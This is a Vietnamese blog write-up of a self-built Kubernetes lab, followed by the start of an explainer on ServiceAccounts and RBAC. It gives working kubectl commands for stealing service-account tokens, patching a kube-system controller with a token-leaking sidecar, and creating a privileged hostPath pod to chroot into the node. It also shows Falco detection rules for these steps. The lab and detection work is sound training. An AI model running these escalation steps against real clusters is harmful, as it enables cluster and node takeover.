<p>Sau khi vào build-agent, tôi không cần biết trước token nào quan trọng. Tôi enum các projected ServiceAccount token mà kubelet lưu dưới /var/lib/kubelet/pods, decode JWT payload để xem namespace, pod và serviceAccount. Khi thấy token thuộc platform-system/node-telemetry-agent, đây là một DaemonSet hệ thống có khả năng là trampoline pod nên tôi kiểm tra quyền của token đó</p>

<p>Thì thấy cũng chả có gì hay cả , thử đổi  namespace khác xem</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530134016.png" alt="" /></p>

<p>nhưng tui chợt nhớ lại cái node-telemetry này có gợi ý là của platform-system nên tui test xem</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530133923.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530134049.png" alt="" /></p>

<p>Lại tiếp tục có quyền get secrets ở đây, ta thử đọc secret đó xem sao</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530134221.png" alt="" /></p>

<p>Và ta đã có được flag 5 cùng với gợi ý tiếp theo “Node telemetry can maintain the kube-system release-controller during break-glass windows, but it is not a cluster-admin identity”</p>

<h3 id="root-flag---trampoline-pod-to-cluster-admin-privilege-escalation">Root flag - Trampoline Pod to Cluster admin (Privilege escalation)</h3>

<p>Có gợi ý liên quan tới cluster-admin nên thử test thử cái này có quyền cluster-admin ko</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530134410.png" alt="" /></p>

<p>Nhưng gợi ý có nhắc là node telemetry này có thể bảo trì kube-system , t thử check namespace đó thử</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530135014.png" alt="" /></p>

<p>Và tới đây gần như là sắp xong rồi vì gần như chúng ta đã có mọi thứ như get pods , list pods hoặc patch deployment với resouce là release controller , đây  là điển hình của trampoline pod (Ở đây là daemonset)</p>

<p>Thì tiếp tục ở đây chúng ta có thể liệt kê được các pods quan trọng có  trong k8s</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530135631.png" alt="" /></p>

<p>Việc bây giờ sẽ là Patch release-controller thêm sidecar lấy token:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl patch deployment release-controller -n kube-system --type='json' -p='[
  {
    "op":"add",
    "path":"/spec/template/spec/containers/-",
    "value":{
      "name":"release-token-tap",
      "image":"python:3.12-slim",
      "imagePullPolicy":"IfNotPresent",
      "command":["/bin/sh","-c"],
      "args":["echo VDT2026{trampoline_patch_to_release_controller}; cat /run/secrets/kubernetes.io/serviceaccount/token; sleep 360000"]
    }
  }
]' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN
</code></pre></div></div>

<p>Làm lại lấy pod mới:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl get pods -n kube-system -l app=release-controller \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN
</code></pre></div></div>

<p>Lấy pod release-controller:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RELEASE_POD=$(/tmp/kubectl get pods -n kube-system -l app=release-controller \
  -o jsonpath='{.items[0].metadata.name}' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN)
</code></pre></div></div>

<p>Xem container trong pod:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl get pod "$RELEASE_POD" -n kube-system \
  -o jsonpath='{.spec.containers[*].name}' \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN; echo
</code></pre></div></div>

<p>Đọc log sidecar:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl logs -n kube-system "$RELEASE_POD" -c release-token-tap \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530140447.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530141411.png" alt="" /></p>

<p>Lấy JWT tự động</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/tmp/kubectl logs -n kube-system "$RELEASE_POD" -c release-token-tap \
  --server=$APISERVER \
  --certificate-authority=$CACERT \
  --token=$NODE_TELEMETRY_TOKEN \
  | grep '^eyJ' &gt; /tmp/release-token
  
  export RELEASE_TOKEN=$(cat /tmp/release-token)
</code></pre></div></div>

<p>Và lấy token đó để check thì t thấy rằng đã có cluster admin</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530141737.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alias kr='/tmp/kubectl --server=$APISERVER --certificate-authority=$CACERT --token=$RELEASE_TOKEN'
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat &gt; /tmp/node-maintenance.yaml &lt;&lt;'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: node-maintenance
  namespace: kube-system
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  restartPolicy: Never
  containers:
  - name: node-maintenance
    image: python:3.12-slim
    imagePullPolicy: IfNotPresent
    securityContext:
      privileged: true
    command: ["/bin/sh", "-c"]
    args: ["sleep 360000"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
EOF
</code></pre></div></div>

<p>Ý nghĩa của pods này là</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hostPID: true
-&gt; container có thể nhìn process namespace của host

hostNetwork: true
-&gt; dùng network namespace của node

privileged: true
-&gt; container có capabilities gần như root trên host

hostPath path: /
-&gt; mount toàn bộ filesystem của node

mountPath: /host
-&gt; trong container, host filesystem nằm ở 
</code></pre></div></div>

<p>Bạn có thể xem thêm cách này  ở đây cũng khá là hay https://x.com/mauilion/status/1129468485480751104</p>

<p>Tới đây attacker đã chuyển từ Pod compromise sang Cluster Admin, sau đó dùng quyền Cluster Admin tạo privileged Pod mount host filesystem. Đây là final impact: kiểm soát Kubernetes API dẫn đến đọc filesystem node.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530142833.png" alt="" /></p>

<p>Exec <code class="language-plaintext highlighter-rouge">kr exec -it node-maintenance -n kube-system -- /bin/sh</code></p>

<p>Enum trong pod</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>id
hostname
ls /host
cat /host/etc/os-release
cat /host/root/root.txt
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chroot /host /bin/bash
whoami
hostname
cat /root/root.txt
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530143331.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530143852.png" alt="" /></p>

<p>chroot /host /bin/bash nghĩa là:</p>

<p><code class="language-plaintext highlighter-rouge">đổi root filesystem của process hiện tại sang thư mục /host, rồi chạy /bin/bash bên trong filesystem đó.</code></p>

<p>chroot không phải exploit riêng, mà là bước hậu khai thác sau khi attacker đã mount được root filesystem của node vào container. Khi đổi root filesystem sang /host, attacker thao tác với hệ điều hành node như root, có thể đọc file nhạy cảm hoặc ghi persistence như SSH key/cron nếu muốn chứng minh thêm impact.</p>

<p>**Attack Path **</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Lab mô phỏng chuỗi tấn công thực tế trong Kubernetes:
từ RCE trong internal operations portal, attacker lấy token ServiceAccount,
lateral movement qua pods/exec, đọc secret có giới hạn, abuse impersonation,
cài sidecar persistence, khai thác privileged CI runner có hostPath để đọc token pod khác trên node,
dùng trampoline DaemonSet token để patch controller mạnh hơn,
lấy token cluster-admin, rồi tạo privileged pod mount host filesystem để chiếm node.

Falco được dùng để phát hiện các hành vi runtime như reverse shell,
đọc token, hostPath token theft và chroot vào host. Các hành vi API-level
như impersonation, get secret, patch deployment cần được bổ sung bằng Kubernetes Audit Logs.

</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Initial Access:
KubeOps Console RCE
-&gt; reverse shell trong prod/kubeops-console

Flag 1 - RBAC Lateral Movement:
kubeops-sa không có quyền cluster-wide
-&gt; nhưng có get/list pods trong dev
-&gt; có pods/exec chỉ vào dev/ci-runner
-&gt; exec sang ci-runner
-&gt; VDT2026{rbac_pods_exec_lateral_movement}

Flag 2 - Targeted Secret Theft:
trong ci-runner lấy token ci-runner-sa
-&gt; ci-runner-sa không list được toàn bộ secrets
-&gt; chỉ get được ci-deploy-cache và deployer-token trong dev
-&gt; đọc ci-deploy-cache
-&gt; lấy deployer-sa token từ deployer-token
-&gt; VDT2026{k8s_secret_theft_without_admin}

Flag 3 - Impersonation:
deployer-sa không phải admin
-&gt; nhưng có quyền impersonate platform/platform-operator
-&gt; dùng --as=system:serviceaccount:platform:platform-operator
-&gt; đọc delegate-operator-note
-&gt; VDT2026{impersonation_can_turn_delegate_into_admin}

Flag 4 - Sidecar Persistence:
platform-operator có quyền patch deployment trong dev
-&gt; patch dev/api-worker
-&gt; inject metrics-sidecar dùng chung shared volume
-&gt; sidecar tồn tại theo Deployment, Pod bị recreate vẫn còn
-&gt; VDT2026{malicious_sidecar_persistence}

Flag 5 - Container Escape / Node Token Theft:
platform-operator có quyền exec vào dev/build-agent
-&gt; build-agent là CI workload bị cấu hình sai: privileged + hostPath /var/lib/kubelet/pods + containerd.sock
-&gt; attacker đọc /node-pods, tức dữ liệu kubelet trên node
-&gt; lấy token của platform-system/node-telemetry-agent DaemonSet
-&gt; node-telemetry-agent không phải cluster-admin, chỉ là trampoline identity
-&gt; VDT2026{container_escape_to_node_token_theft}

Trampoline Escalation:
node-telemetry-agent có quyền break-glass patch kube-system/release-controller
-&gt; patch release-controller thêm sidecar tạm thời
-&gt; sidecar in ServiceAccount token của release-controller ra logs
-&gt; lấy release-controller token
-&gt; release-controller mới là cluster-admin

Root Flag - Final Impact:
dùng release-controller cluster-admin token
-&gt; tạo privileged pod mount host /
-&gt; chroot hoặc đọc trực tiếp /host/root/root.txt
-&gt; VDT2026{pod_compromise_to_cluster_admin_to_node_takeover}
</code></pre></div></div>

<h2 id="ii-triển-khai-tool-giám-sát-bằng-falco">II. Triển khai tool giám sát bằng Falco</h2>

<h2 id="1-cài-falco-bằng-helm">1. Cài Falco bằng Helm</h2>

<p>Trên k8s-node:</p>

<p><code class="language-plaintext highlighter-rouge">helm repo add falcosecurity https://falcosecurity.github.io/charts helm repo update</code></p>

<p>Cài vào namespace riêng:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl create namespace falco --dry-run=client -o yaml | kubectl apply -f -

helm install falco falcosecurity/falco \
  -n falco \
  --version 8.0.5 \
  --set falcoctl.artifact.install.enabled=false \
  --set falcoctl.artifact.follow.enabled=false \
  --set tty=true
  

</code></pre></div></div>

<p>Test thử khi reverse shell</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260529231558.png" alt="" /></p>

<p>Viết Custom rule detect log</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat &gt; falco-vdt-rules.yaml &lt;&lt;'EOF'
customRules:
  vdt_rules.yaml: |-
    - rule: VDT Read App Service Account Token
      desc: Detect lab app reading its service account token
      condition: &gt;
        open_read and container and
        fd.name contains "/run/secrets/kubernetes.io/serviceaccount/token" and
        k8s.ns.name in (prod, dev, platform, platform-system) and
        not k8s.pod.name startswith "calico-" and
        not k8s.pod.name startswith "coredns"
      output: &gt;
        VDT detected service account token read
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: WARNING
      tags: [k8s, credential_access, vdt]

    - rule: VDT Read Mounted Node Pod Tokens
      desc: Detect reading projected pod tokens via hostPath-mounted kubelet pod directories
      condition: &gt;
        open_read and container and
        fd.name contains "/node-pods" and fd.name contains "/token"
      output: &gt;
        VDT detected pod token read through /node-pods hostPath
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: CRITICAL
      tags: [k8s, hostpath, credential_access, container_escape, vdt]

    - rule: VDT Container Runtime Socket Access
      desc: Detect access to container runtime sockets from lab containers
      condition: &gt;
        (open_read or open_write) and container and
        k8s.ns.name in (dev, kube-system) and
        (fd.name contains "/run/containerd/containerd.sock" or
         fd.name contains "/var/run/docker.sock" or
         fd.name contains "/run/crio/crio.sock")
      output: &gt;
        VDT detected container runtime socket access
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: CRITICAL
      tags: [k8s, runtime_socket, container_escape, vdt]

    - rule: VDT Suspicious Sidecar Writes Shared Volume
      desc: Detect suspicious writes to shared volume used by sidecar persistence demo
      condition: &gt;
        open_write and container and
        k8s.ns.name=dev and
        fd.name startswith "/shared/"
      output: &gt;
        VDT detected write to shared sidecar volume
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: WARNING
      tags: [k8s, persistence, sidecar, vdt]

    - rule: VDT Chroot To Host Filesystem
      desc: Detect chroot execution from lab container
      condition: &gt;
        spawned_process and container and
        proc.name=chroot and
        k8s.pod.name in (node-maintenance, host-shell)
      output: &gt;
        VDT detected chroot from container
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [k8s, container_escape, host_access, vdt]

    - rule: VDT SSH Authorized Keys Modified From HostPath Pod
      desc: Detect SSH persistence by modifying authorized_keys from hostPath pod
      condition: &gt;
        open_write and container and
        k8s.pod.name in (node-maintenance, host-shell) and
        fd.name contains "/.ssh/authorized_keys"
      output: &gt;
        VDT detected SSH authorized_keys modification from hostPath pod
        (user=%user.name command=%proc.cmdline container=%container.name
        image=%container.image.repository pod=%k8s.pod.name ns=%k8s.ns.name file=%fd.name)
      priority: CRITICAL
      tags: [k8s, persistence, host_access, vdt]
EOF
</code></pre></div></div>

<p>Falco tập trung vào runtime behavior sau khi workload đã chạy. Các hành vi control-plane như impersonation, patch deployment, get secret qua Kubernetes API cần được giám sát bằng Kubernetes Audit Logs hoặc policy engine như Kyverno/Gatekeeper. Vì vậy trong demo, Falco được dùng để phát hiện RCE, token theft, hostPath abuse và chroot; còn Flag 3 được đề xuất phát hiện bằng audit log.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl logs -n falco -l app.kubernetes.io/name=falco -c falco -f --tail=0 \
  | grep --line-buffered -Ei 'VDT|netcat|remote code|token|node-pods|chroot|authorized|runtime|sidecar'
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260530144313.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260530145333.png" alt="" /></p>

<h3 id="iii-quá-trình-dựng-lab">III. Quá trình dựng lab</h3>

<h3 id="môi-trường-vm-đã-tạo">Môi trường VM đã tạo</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host: Windows + VMware Workstation
Attacker: Kali VM
Target Kubernetes node: Ubuntu Server 26.04 LTS VM
Hostname Ubuntu: k8s-node
Username Ubuntu: phucquan
IP Ubuntu: 192.168.221.131
Disk VM: 40GB, root filesystem hiện khoảng 26GB
Network: NAT VMware, Kali đã SSH được vào Ubuntu
</code></pre></div></div>

<h3 id="các-bước-đã-hoàn-thành">Các bước đã hoàn thành</h3>

<ol>
  <li>Kali SSH thành công vào Ubuntu:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh phucquan@192.168.221.131
</code></pre></div></div>

<ol>
  <li>Cài các gói nền cần thiết:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> curl wget gnupg ca-certificates apt-transport-https
</code></pre></div></div>

<ol>
  <li>Tắt swap:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>swapoff <span class="nt">-a</span>
swapon <span class="nt">--show</span>
</code></pre></div></div>

<ol>
  <li>Bật kernel modules cần cho Kubernetes:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>modprobe overlay
<span class="nb">sudo </span>modprobe br_netfilter
</code></pre></div></div>

<ol>
  <li>Tạo file <code class="language-plaintext highlighter-rouge">/etc/modules-load.d/k8s.conf</code>:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo tee</span> /etc/modules-load.d/k8s.conf <span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
overlay
br_netfilter
</span><span class="no">EOF
</span></code></pre></div></div>

<ol>
  <li>Bật sysctl networking cho Kubernetes:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo tee</span> /etc/sysctl.d/k8s.conf <span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
net.bridge.bridge-nf-call-iptables = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward = 1
</span><span class="no">EOF

</span><span class="nb">sudo </span>sysctl <span class="nt">--system</span>
</code></pre></div></div>

<ol>
  <li>Cài và cấu hình <code class="language-plaintext highlighter-rouge">containerd</code>:</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> containerd
<span class="nb">sudo mkdir</span> <span class="nt">-p</span> /etc/containerd
containerd config default | <span class="nb">sudo tee</span> /etc/containerd/config.toml <span class="o">&gt;</span>/dev/null
<span class="nb">sudo sed</span> <span class="nt">-i</span> <span class="s1">'s/SystemdCgroup = false/SystemdCgroup = true/'</span> /etc/containerd/config.toml
<span class="nb">sudo </span>systemctl restart containerd
<span class="nb">sudo </span>systemctl <span class="nb">enable </span>containerd
<span class="nb">sudo </span>systemctl status containerd
</code></pre></div></div>

<p>Trạng thái hiện tại: <code class="language-plaintext highlighter-rouge">containerd</code> đã <code class="language-plaintext highlighter-rouge">active (running)</code>.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524110425.png" alt="" /></p>

<h3 id="bước-tiếp-theo">Bước tiếp theo</h3>

<p>Cài <code class="language-plaintext highlighter-rouge">kubeadm</code>, <code class="language-plaintext highlighter-rouge">kubelet</code>, <code class="language-plaintext highlighter-rouge">kubectl</code> từ repo Kubernetes chính thức, sau đó chạy <code class="language-plaintext highlighter-rouge">kubeadm init</code> để tạo single-node cluster.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524110736.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524111700.png" alt="" /></p>

<h3 id="cập-nhật-sau-khi-containerd-active">Cập nhật sau khi containerd active</h3>

<p>Sau khi <code class="language-plaintext highlighter-rouge">containerd</code> đã <code class="language-plaintext highlighter-rouge">active (running)</code>, tiếp tục cài Kubernetes packages từ repo chính thức <code class="language-plaintext highlighter-rouge">pkgs.k8s.io</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo mkdir</span> <span class="nt">-p</span> /etc/apt/keyrings
curl <span class="nt">-fsSL</span> https://pkgs.k8s.io/core:/stable:/v1.33/deb/Release.key | <span class="nb">sudo </span>gpg <span class="nt">--dearmor</span> <span class="nt">-o</span> /etc/apt/keyrings/kubernetes-apt-keyring.gpg
<span class="nb">echo</span> <span class="s1">'deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.33/deb/ /'</span> | <span class="nb">sudo tee</span> /etc/apt/sources.list.d/kubernetes.list
<span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> kubelet kubeadm kubectl
<span class="nb">sudo </span>apt-mark hold kubelet kubeadm kubectl
</code></pre></div></div>

<p>Kiểm tra version:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeadm version
kubectl version <span class="nt">--client</span>
kubelet <span class="nt">--version</span>
</code></pre></div></div>

<p>Kết quả hiện tại:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeadm/kubelet/kubectl: v1.33.12
</code></pre></div></div>

<h3 id="khởi-tạo-kubeadm-single-node-cluster">Khởi tạo kubeadm single-node cluster</h3>

<p>Chạy lệnh init cluster với Pod CIDR phù hợp Calico:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>kubeadm init <span class="nt">--pod-network-cidr</span><span class="o">=</span>192.168.0.0/16
</code></pre></div></div>

<p>Kết quả: Kubernetes control-plane đã init thành công.</p>

<p>Sau đó cấu hình kubeconfig cho user thường:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$HOME</span>/.kube
<span class="nb">sudo cp</span> <span class="nt">-i</span> /etc/kubernetes/admin.conf <span class="nv">$HOME</span>/.kube/config
<span class="nb">sudo chown</span> <span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span>:<span class="si">$(</span><span class="nb">id</span> <span class="nt">-g</span><span class="si">)</span> <span class="nv">$HOME</span>/.kube/config
</code></pre></div></div>

<p>Kiểm tra ban đầu:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get nodes
kubectl get pods <span class="nt">-A</span>
</code></pre></div></div>

<p>Trạng thái ban đầu sau init:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>k8s-node   NotReady   control-plane   v1.33.12
CoreDNS    Pending
</code></pre></div></div>

<p>Nguyên nhân: cluster chưa có CNI.</p>

<h3 id="cài-calico-cni">Cài Calico CNI</h3>

<p>Cài Calico:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl apply <span class="nt">-f</span> https://raw.githubusercontent.com/projectcalico/calico/v3.30.0/manifests/calico.yaml
</code></pre></div></div>

<p>Cho phép schedule workload lên control-plane vì đây là lab single-node:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl taint nodes <span class="nt">--all</span> node-role.kubernetes.io/control-plane-
</code></pre></div></div>

<p>Kiểm tra lại:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get nodes
kubectl get pods <span class="nt">-A</span>
</code></pre></div></div>

<p>Trạng thái hiện tại:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>k8s-node   Ready   control-plane   v1.33.12

kube-system/calico-kube-controllers   1/1 Running
kube-system/calico-node               1/1 Running
kube-system/coredns                   1/1 Running
kube-system/etcd                      1/1 Running
kube-system/kube-apiserver            1/1 Running
kube-system/kube-controller-manager   1/1 Running
kube-system/kube-proxy                1/1 Running
kube-system/kube-scheduler            1/1 Running
</code></pre></div></div>

<p>Kết luận: kubeadm single-node cluster đã dựng thành công và sẵn sàng triển khai lab privilege escalation.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524122734.png" alt="" /></p>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="Security-Research" /><category term="Kubernetes" /><category term="Security" /><category term="Lab" /><category term="Privilege Escalation" /><summary type="html"><![CDATA[Tên Lab KubeOps Breach: From Internal Console to Cluster Takeover]]></summary></entry><entry><title type="html">Hacking Kubernetes (Part 1)</title><link href="https://phucquan.github.io/security-research/2026/05/25/hacking-kubernetes-part-1/" rel="alternate" type="text/html" title="Hacking Kubernetes (Part 1)" /><published>2026-05-25T17:00:00+00:00</published><updated>2026-05-25T17:00:00+00:00</updated><id>https://phucquan.github.io/security-research/2026/05/25/hacking-kubernetes-part-1</id><content type="html" xml:base="https://phucquan.github.io/security-research/2026/05/25/hacking-kubernetes-part-1/"><![CDATA[<h2 id="các-attack-vector-trong-privilege-escalation-in-k8s">Các Attack vector trong Privilege Escalation in K8s</h2>

<p>Trước khi đi sau vào kĩ thuật thì mình cũng muốn các bạn có thể hiểu được các khái niệm mà mình thấy là quan trọng để có thể khai thác các lỗ hổng về K8s.</p>
<h3 id="i-serviceaccount-là-gì">I. ServiceAccount là gì?</h3>

<p>Trong Kubernetes, <strong>ServiceAccount</strong> cung cấp định danh cho các tiến trình chạy bên trong container . Khi người dùng cố gắng xác thực với với API K8s , người có chỉ cần certificate để xác minh danh tính của họ . Còn với một non-human resource như pod thì cần SA để có danh tính khi giao tiếp API server K8s . Một tiến trình bên trong Pod có thể sử dụng SA được liên kết với nó để xác thực với API server.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524220427.png" alt="" /></p>

<p>Trong Kubernetes, cơ chế gán ServiceAccount (SA) mặc định hoạt động như sau:</p>

<ul>
  <li><strong>Tự động gán:</strong> Mỗi Namespace luôn có sẵn một SA tên là <code class="language-plaintext highlighter-rouge">default</code>.</li>
  <li><strong>Mặc định:</strong> Nếu bạn không chỉ định <code class="language-plaintext highlighter-rouge">serviceAccountName</code> trong file cấu hình Pod, K8s sẽ tự động gán SA <code class="language-plaintext highlighter-rouge">default</code> này cho Pod đó.</li>
  <li><strong>Gắn Token:</strong> K8s sẽ tự động mount một API token của SA này vào thư mục <code class="language-plaintext highlighter-rouge">/var/run/secrets/kubernetes.io/serviceaccount</code> bên trong Pod.</li>
</ul>

<p>Ví dụ:</p>

<p><code class="language-plaintext highlighter-rouge">Pod -&gt; dùng ServiceAccount token -&gt; gọi Kubernetes API Server</code></p>

<p>Mặc định, Kubernetes thường mount thông tin ServiceAccount vào pod tại:</p>

<p><code class="language-plaintext highlighter-rouge">/var/run/secrets/kubernetes.io/serviceaccount/</code></p>

<p>Trong thư mục này thường có:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ca.crt      certificate để verify API server
namespace  namespace hiện tại của pod
token      bearer token của ServiceAccount
</code></pre></div></div>

<h3 id="ii-rbac-là-gì">II. RBAC là gì?</h3>
<p>RBAC là viết tắt của <strong>Role-Based Access Control</strong>. Nó quyết định một identity được phép làm gì trong Kubernetes.</p>

<p>RBAC trả lời các câu hỏi kiểu:</p>

<p>ServiceAccount này có được get secrets không? 
ServiceAccount này có được list pods không? 
ServiceAccount này có được create deployments không? 
ServiceAccount này có được đọc secret trong namespace khác không?</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524220317.png" alt="" /></p>

<p>RBAC thường gồm 4 object chính:</p>

<p><code class="language-plaintext highlighter-rouge">Role ,RoleBinding , ClusterRole, ClusterRoleBinding</code></p>

<p>Trong K8s các thành phần này dùng để quản lí quyền hạn của người dùng và ứng dụng với các tài nguyên trong Cluster</p>

<p>Hiểu 1 cách đơn giản thì Role/ClusterRole : Dùng cho câu hỏi được làm gì ? (Định nghĩa quyền) còn binding thì trả lời cho câu hỏi ai được làm (gán quyền cho 1 người dùng cụ thể)</p>

<p>Role/Rolebiding : Dùng khi bạn muốn giới hạn quyền định ra trong 1 namespace nhất định</p>

<ul>
  <li>Role : Tập hợp các quy tắc cho phép thực hiện 1 hành động (get,list,create,delete) trên các tài nguyên như Pod, Service trong 1 namespace</li>
  <li>Rolebiding : Liên kết 1 role với 1 object cụ thể như User , Group, hoặc Service Account) trong cùng 1 namespace đó .
Ví dụ như : Gán quyền “chỉ xem Pod” cho bạn An trong namespace <code class="language-plaintext highlighter-rouge">frontend</code></li>
</ul>

<p>ClusterRole và ClusterRoleBinding (Cấp độ Toàn Cụm): Dùng cho các tài nguyên <strong>không thuộc Namespace</strong> (như Nodes, PersistentVolumes) hoặc khi muốn cấp quyền trên <strong>toàn bộ các Namespace</strong>.</p>

<ul>
  <li><strong>ClusterRole</strong>: Định nghĩa quyền trên toàn cluster. Nó có thể dùng để phân quyền cho các tài nguyên chung của hệ thống.</li>
  <li><strong>ClusterRoleBinding</strong>: Cấp quyền từ ClusterRole cho người dùng trên phạm vi toàn cụm, bất kể Namespace nào.</li>
</ul>

<p>Các lệnh enum RBAC</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Get current privileges
kubectl auth can-i --list
# use `--as=system:serviceaccount:&lt;namespace&gt;:&lt;sa_name&gt;` to impersonate a service account

# List Cluster Roles
kubectl get clusterroles
kubectl describe clusterroles

# List Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings

# List Roles
kubectl get roles
kubectl describe roles

# List Roles Bindings
kubectl get rolebindings
kubectl describe rolebindings
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260521224006.png" alt="" /></p>

<p>Một số quyền hạn nguy hiểm nếu config ko chính xác sẽ có thể là 1 attack surface cho các attacker khai thác</p>

<ol>
  <li>Manipulate AuthN / AuthZ (Thao túng xác thực và ủy quyền)</li>
</ol>

<p>Nhóm này cho phép kẻ tấn công thay đổi cách hệ thống nhận diện và cấp quyền:</p>

<ul>
  <li><strong>impersonate</strong>: Giả danh người dùng khác (có thể là admin).</li>
  <li><strong>escalate</strong>: Tự nâng cấp quyền hạn của chính mình.</li>
